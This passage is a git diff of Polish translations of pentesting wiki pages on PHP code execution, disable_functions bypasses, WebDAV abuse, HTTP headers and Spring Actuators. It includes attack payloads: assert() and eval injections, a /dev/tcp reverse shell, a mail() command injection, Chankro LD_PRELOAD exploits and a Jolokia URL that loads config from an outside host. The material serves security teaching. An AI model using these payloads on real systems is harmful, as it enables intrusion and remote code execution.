PHP do **generowania hashy z haseł** oraz do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\ -Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte: +Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\ +Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest takie samo jak PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -175,7 +175,7 @@ True #### Causing error after setting headers -Z [**tego wątku na twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi. +Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi. Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak: ```php @@ -212,7 +212,7 @@ preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\ -Ta opcja preg_replace została **wycofana od PHP 5.5.0.** +Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.** ### **RCE za pomocą Eval()** ``` @@ -222,9 +222,9 @@ Ta opcja preg_replace została **wycofana od PHP 5.5.0.** '.phpinfo().' ``` -### **RCE via Assert()** +### **RCE poprzez Assert()** -Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\ +Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\ `assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a @@ -233,9 +233,9 @@ Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek* **Inną opcją** jest dodanie do ciągu wykonania polecenia: `'.highlight_file('.passwd').'` -**Inną opcją** (jeśli masz wewnętrzny kod) jest zmodyfikowanie niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"` +**Inną opcją** (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"` -### **RCE via usort()** +### **RCE za pomocą usort()** Funkcja ta jest używana do sortowania tablicy elementów za pomocą określonej funkcji.\ Aby nadużyć tej funkcji: @@ -274,7 +274,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul ### RCE przez zmienne środowiskowe -Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**. +Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być obejście), możesz nadużyć tego zachowania, aby uzyskać **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać). - **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem. @@ -351,9 +351,9 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE wykorzystując nowe $\_GET\["a"]\($\_GET\["b") +## RCE nadużywając nowego $\_GET\["a"]\($\_GET\["b"]) -Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak: +Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -412,7 +412,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` -### Perl like +### Perl podobny ```php & /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - Ta funkcja jest używana do wysyłania maili, ale może być również nadużywana do wstrzykiwania dowolnych poleceń w parametrze `$options`. Dzieje się tak, ponieważ **php `mail` function** zazwyczaj wywołuje binarny plik `sendmail` w systemie i pozwala na **dodanie dodatkowych opcji**. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, więc zaleca się stworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonuje go za pomocą maila i drukuje wynik: +**mail / mb_send_mail** - Ta funkcja jest używana do wysyłania maili, ale może być również nadużywana do wstrzykiwania dowolnych poleceń w parametrze `$options`. Dzieje się tak, ponieważ **php `mail` function** zazwyczaj wywołuje binarny plik `sendmail` w systemie i pozwala na **dodanie dodatkowych opcji**. Jednak nie będziesz w stanie zobaczyć wyjścia wykonanego polecenia, więc zaleca się stworzenie skryptu powłoki, który zapisuje wyjście do pliku, wykonuje go za pomocą maila i drukuje wyjście: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` @@ -52,7 +52,7 @@ file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA ### Wykonanie kodu PHP -Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w formie Local File Include i Remote File Include. +Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w formie luk w Local File Include i Remote File Include. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() @@ -75,7 +75,7 @@ $func->invokeArgs(array()); ## disable_functions & open_basedir **Wyłączone funkcje** to ustawienie, które można skonfigurować w plikach `.ini` w PHP, które **zabrania** używania wskazanych **funkcji**. **Open basedir** to ustawienie, które wskazuje PHP folder, do którego ma dostęp.\ -Ustawienie PHP powinno być skonfigurowane w ścieżce _/etc/php7/conf.d_ lub podobnej. +Ustawienie PHP należy skonfigurować w ścieżce _/etc/php7/conf.d_ lub podobnej. Obie konfiguracje można zobaczyć w wyniku **`phpinfo()`**: @@ -88,7 +88,7 @@ Obie konfiguracje można zobaczyć w wyniku **`phpinfo()`**: `open_basedir` skonfiguruje foldery, do których PHP ma dostęp, **nie będziesz mógł/mogła pisać/odczytywać/wykonywać żadnych plików poza** tymi folderami, ale także **nawet nie będziesz mógł/mogła wylistować** innych katalogów.\ Jednakże, jeśli w jakiś sposób będziesz w stanie wykonać dowolny kod PHP, możesz **spróbować** następującego fragmentu **kodów**, aby spróbować **obejść** to ograniczenie. -### Wylistowanie katalogów z użyciem glob:// bypass +### Listing dirs with glob:// bypass W tym pierwszym przykładzie używany jest protokół `glob://` z pewnym obejściem ścieżki: ```php @@ -491,13 +491,13 @@ Możesz użyć narzędzia [https://github.com/teambi0s/dfunc-bypasser](https://g ### Obejście za pomocą innych funkcji systemowych -Po prostu wróć na początek tej strony i **sprawdź, czy którakolwiek z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku**. Jeśli znajdziesz tylko jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych. +Po prostu wróć na początek tej strony i **sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku**. Jeśli znajdziesz tylko jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych. ### Bypass LD_PRELOAD Jest powszechnie znane, że niektóre funkcje w PHP, takie jak `mail()`, będą **wykonywać binaria w systemie**. Dlatego możesz je nadużyć, używając zmiennej środowiskowej `LD_PRELOAD`, aby załadować dowolną bibliotekę, która może wykonać cokolwiek. -#### Funkcje, które można wykorzystać do obejścia disable_functions za pomocą LD_PRELOAD +#### Funkcje, które można wykorzystać do obejścia disable_functions z LD_PRELOAD - **`mail`** - **`mb_send_mail`**: Skuteczne, gdy zainstalowany jest moduł `php-mbstring`. @@ -524,10 +524,10 @@ return 1; #### Bypass using Chankro Aby wykorzystać tę błędną konfigurację, możesz [**Chankro**](https://github.com/TarlogicSecurity/Chankro). To narzędzie, które **generuje exploit PHP**, który musisz przesłać na podatny serwer i wykonać go (uzyskać do niego dostęp przez sieć).\ -**Chankro** zapisze na dysku ofiary **bibliotekę i powłokę odwrotną**, którą chcesz wykonać, i użyje\*\*`LD_PRELOAD` trick + PHP `mail()`\*\* funkcji do wykonania powłoki odwrotnej. +**Chankro** zapisze na dysku ofiary **bibliotekę i powrotny shell**, który chcesz wykonać, i użyje **triku `LD_PRELOAD` + funkcji PHP `mail()`**, aby wykonać powrotny shell. Zauważ, że aby użyć **Chankro**, `mail` i `putenv` **nie mogą pojawić się na liście `disable_functions`**.\ -W poniższym przykładzie możesz zobaczyć, jak **stworzyć exploit chankro** dla **arch 64**, który wykona `whoami` i zapisze wynik w _/tmp/chankro_shell.out_, chankro **zapisze bibliotekę i ładunek** w _/tmp_, a **ostateczny exploit** będzie nazywał się **bicho.php** (to jest plik, który musisz przesłać na serwer ofiary): +W poniższym przykładzie możesz zobaczyć, jak **stworzyć exploit chankro** dla **arch 64**, który wykona `whoami` i zapisze wynik w _/tmp/chankro_shell.out_, chankro **zapisze bibliotekę i ładunek** w _/tmp_, a **ostateczny exploit** będzie nazwany **bicho.php** (to jest plik, który musisz przesłać na serwer ofiary): {{#tabs}} {{#tab name="shell.sh"}} @@ -547,26 +547,26 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php Jeśli stwierdzisz, że funkcja **mail** jest zablokowana przez wyłączone funkcje, nadal możesz użyć funkcji **mb_send_mail.**\ Więcej informacji na temat tej techniki i Chankro tutaj: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) -### "Bypass" przy użyciu możliwości PHP +### "Obejście" za pomocą możliwości PHP Zauważ, że używając **PHP** możesz **czytać i zapisywać pliki, tworzyć katalogi i zmieniać uprawnienia**.\ Możesz nawet **zrzucać bazy danych**.\ -Może używając **PHP** do **enumeracji** systemu znajdziesz sposób na eskalację uprawnień/wykonywanie poleceń (na przykład odczytując jakiś prywatny klucz ssh). +Może używając **PHP** do **enumeracji** maszyny, znajdziesz sposób na eskalację uprawnień/wykonywanie poleceń (na przykład odczytując jakiś prywatny klucz ssh). Stworzyłem webshell, który ułatwia wykonywanie tych działań (zauważ, że większość webshelli również oferuje te opcje): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) -### Bypassy zależne od modułów/wersji +### Obejścia zależne od modułów/wersji Istnieje kilka sposobów na obejście disable_functions, jeśli używany jest jakiś konkretny moduł lub wykorzystana jest konkretna wersja PHP: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) -- [**Bypass z FFI - włączony Foreign Function Interface**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) -- [**Bypass przez mem**](disable_functions-bypass-via-mem.md) +- [**Obejście z FFI - włączony Foreign Function Interface**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) +- [**Obejście przez mem**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**funkcja dl**](disable_functions-bypass-dl-function.md) - [**Ten exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) -- 5.\* - wykorzystywalne przy drobnych zmianach w PoC +- 5.\* - wykonalne przy drobnych zmianach w PoC - 7.0 - wszystkie wersje do tej pory - 7.1 - wszystkie wersje do tej pory - 7.2 - wszystkie wersje do tej pory @@ -677,9 +677,9 @@ posix_setuid ``` ### Funkcje systemu plików -Według RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich nie wydają się zbyt przydatne dla atakującego. Inne są bardziej użyteczne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL może być użyty jako ścieżka do pliku, więc wywołanie copy($\_GET\['s'], $\_GET\['d']); może być użyte do przesłania skryptu PHP wszędzie w systemie. Również, jeśli strona jest podatna na żądanie wysłane przez GET, każda z tych funkcji systemu plików może być wykorzystana do przekierowania ataku na inny host przez twój serwer. +Według RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich nie wydają się zbyt przydatne dla atakującego. Inne są bardziej użyteczne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL może być użyty jako ścieżka do pliku, więc wywołanie copy($\_GET\['s'], $\_GET\['d']); może być użyte do przesłania skryptu PHP wszędzie w systemie. Ponadto, jeśli strona jest podatna na żądanie wysyłane przez GET, każda z tych funkcji systemu plików może być nadużyta do przekierowania ataku na inny host przez twój serwer. -**Otwarty uchwyt systemu plików** +**Otwórz uchwyt systemu plików** ```php fopen tmpfile diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index a4043c916..298366cc6 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Kiedy mamy do czynienia z **serwerem HTTP z włączonym WebDav**, możliwe jest **manipulowanie plikami**, jeśli posiadasz odpowiednie **poświadczenia**, zazwyczaj weryfikowane przez **HTTP Basic Authentication**. Uzyskanie kontroli nad takim serwerem często wiąże się z **przesyłaniem i uruchamianiem webshella**. +Kiedy mamy do czynienia z **serwerem HTTP z włączonym WebDav**, możliwe jest **manipulowanie plikami**, jeśli posiadasz odpowiednie **dane uwierzytelniające**, zazwyczaj weryfikowane przez **HTTP Basic Authentication**. Uzyskanie kontroli nad takim serwerem często wiąże się z **przesyłaniem i uruchamianiem webshella**. -Dostęp do serwera WebDav zazwyczaj wymaga **ważnych poświadczeń**, a [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) jest powszechną metodą ich zdobycia. +Dostęp do serwera WebDav zazwyczaj wymaga **ważnych danych uwierzytelniających**, a [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) jest powszechną metodą ich pozyskiwania. Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz: -- **Przesłać** pliki z **wykonywalnymi rozszerzeniami** bezpośrednio, jeśli nie są ograniczone. -- **Zmień nazwę** przesłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne. -- **Skopiować** przesłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne. +- **Przesyłać** pliki z **rozszerzeniami wykonywalnymi** bezpośrednio, jeśli nie są ograniczone. +- **Zmień nazwę** przesyłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne. +- **Kopiować** przesyłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne. ## DavTest @@ -48,7 +48,7 @@ Następnie możesz **przesłać** swój shell jako plik ".**txt"** i **skopiowa ## Post credentials Jeśli Webdav używał serwera Apache, powinieneś spojrzeć na skonfigurowane witryny w Apache. Zwykle:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ Wewnątrz możesz znaleźć coś takiego: ``` @@ -71,7 +71,7 @@ Możesz spróbować je **złamać**, lub **dodać więcej**, jeśli z jakiegoś ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` -Aby sprawdzić, czy nowe dane logowania działają, możesz zrobić: +Aby sprawdzić, czy nowe dane uwierzytelniające działają, możesz zrobić: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 3bdcea407..1231e4bf8 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -56,7 +56,7 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania **Nagłówki pamięci podręcznej serwera**: -- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w pamięci podręcznej i wartość **`hit`** gdy jest zapisane w pamięci podręcznej +- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w pamięci podręcznej i wartość **`hit`** gdy jest zapisane - Podobne zachowanie w nagłówku **`Cf-Cache-Status`** - **`Cache-Control`** wskazuje, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800` - **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. @@ -72,32 +72,32 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania - `Clear-Site-Data`: Nagłówek wskazujący, które dane w pamięci podręcznej powinny zostać usunięte: `Clear-Site-Data: "cache", "cookies"` - `Expires`: Zawiera datę/godzinę, kiedy odpowiedź powinna wygasnąć: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` to samo co `Cache-Control: no-cache` -- `Warning`: Nagłówek **`Warning`** ogólny nagłówek HTTP zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"` +- `Warning`: Ogólny nagłówek HTTP **`Warning`** zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"` ## Warunki -- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inną datę. -- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** używają wartości Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP. +- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inny czas. +- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** wykorzystują wartość Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP. - Wartość **Etag** jest zazwyczaj **obliczana na podstawie** **zawartości** odpowiedzi. Na przykład, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** **37 bajtów**. ## Żądania zakresu - **`Accept-Ranges`**: Wskazuje, czy serwer obsługuje żądania zakresu, a jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: ` - **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić. Na przykład, `Range:80-100` zwróci bajty od 80 do 100 oryginalnej odpowiedzi z kodem statusu 206 Partial Content. Pamiętaj również, aby usunąć nagłówek `Accept-Encoding` z żądania. -- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zescapowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu. +- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zablokowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu. - **`If-Range`**: Tworzy warunkowe żądanie zakresu, które jest spełnione tylko wtedy, gdy podany etag lub data pasuje do zdalnego zasobu. Używane do zapobiegania pobieraniu dwóch zakresów z niekompatybilnych wersji zasobu. - **`Content-Range`**: Wskazuje, gdzie w pełnej wiadomości ciała należy umieścić wiadomość częściową. ## Informacje o ciele wiadomości -- **`Content-Length`:** Rozmiar zasobu, w dziesiętnej liczbie bajtów. +- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach. - **`Content-Type`**: Wskazuje typ mediów zasobu - **`Content-Encoding`**: Używane do określenia algorytmu kompresji. -- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnego preferowanego języka. +- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych. - **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych. Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\ -Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD: +Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawniać zawartość strony za pomocą żądań HEAD: - Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -109,7 +109,7 @@ Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić ## Kontrole - **`Allow`**: Ten nagłówek jest używany do komunikowania metod HTTP, które zasób może obsługiwać. Na przykład może być określony jako `Allow: GET, POST, HEAD`, co wskazuje, że zasób obsługuje te metody. -- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient czeka na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera. +- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient oczekuje na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera. ## Pobierania @@ -129,7 +129,7 @@ To oznacza, że plik o nazwie "filename.jpg" ma być pobrany i zapisany. ### **Zaufane typy** -Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami XSS w DOM. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API w sieci, co zabezpiecza kod JavaScript domyślnie. +Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami XSS w DOM. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API webowych, co zabezpiecza kod JavaScript domyślnie. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -158,9 +158,9 @@ Aby zwalczyć clickjacking, ten nagłówek ogranicza sposób, w jaki dokumenty m ``` X-Frame-Options: DENY ``` -### **Polityka Zasobów Międzydomenowych (CORP) i Współdzielenie Zasobów Międzydomenowych (CORS)** +### **Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)** -CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki międzydomenowe. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm współdzielenia zasobów międzydomenowych, łagodząc politykę tej samej domeny w określonych warunkach. +CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm udostępniania zasobów między różnymi źródłami, łagodząc politykę tego samego pochodzenia w określonych warunkach. ``` Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com @@ -175,7 +175,7 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups ``` ### **HTTP Strict Transport Security (HSTS)** -Na koniec, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo. +Ostatnio, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo. ``` Strict-Transport-Security: max-age=3153600 ``` diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index b6f3df477..f12b3530f 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,7 +6,7 @@
-**Z** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Wykorzystywanie Spring Boot Actuators @@ -14,22 +14,22 @@ ### **Kluczowe punkty:** -- Spring Boot Actuators rejestrują punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nieczułe, ale deweloperzy często wyłączają to zabezpieczenie. +- Spring Boot Actuators rejestrują punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nie wrażliwe, ale deweloperzy często wyłączają to zabezpieczenie. - Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub pozwalać na szkodliwe działania: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` i `/heapdump`. -- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x są pod podstawową ścieżką `/actuator/`. +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`. +- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką `/actuator/`. -### **Techniki wykorzystywania:** +### **Techniki eksploatacji:** 1. **Zdalne wykonanie kodu przez '/jolokia'**: - Punkt końcowy `/jolokia` ujawnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans. -- Akcja `reloadByURL` może być wykorzystana do ponownego załadowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML. -- Przykładowy URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +- 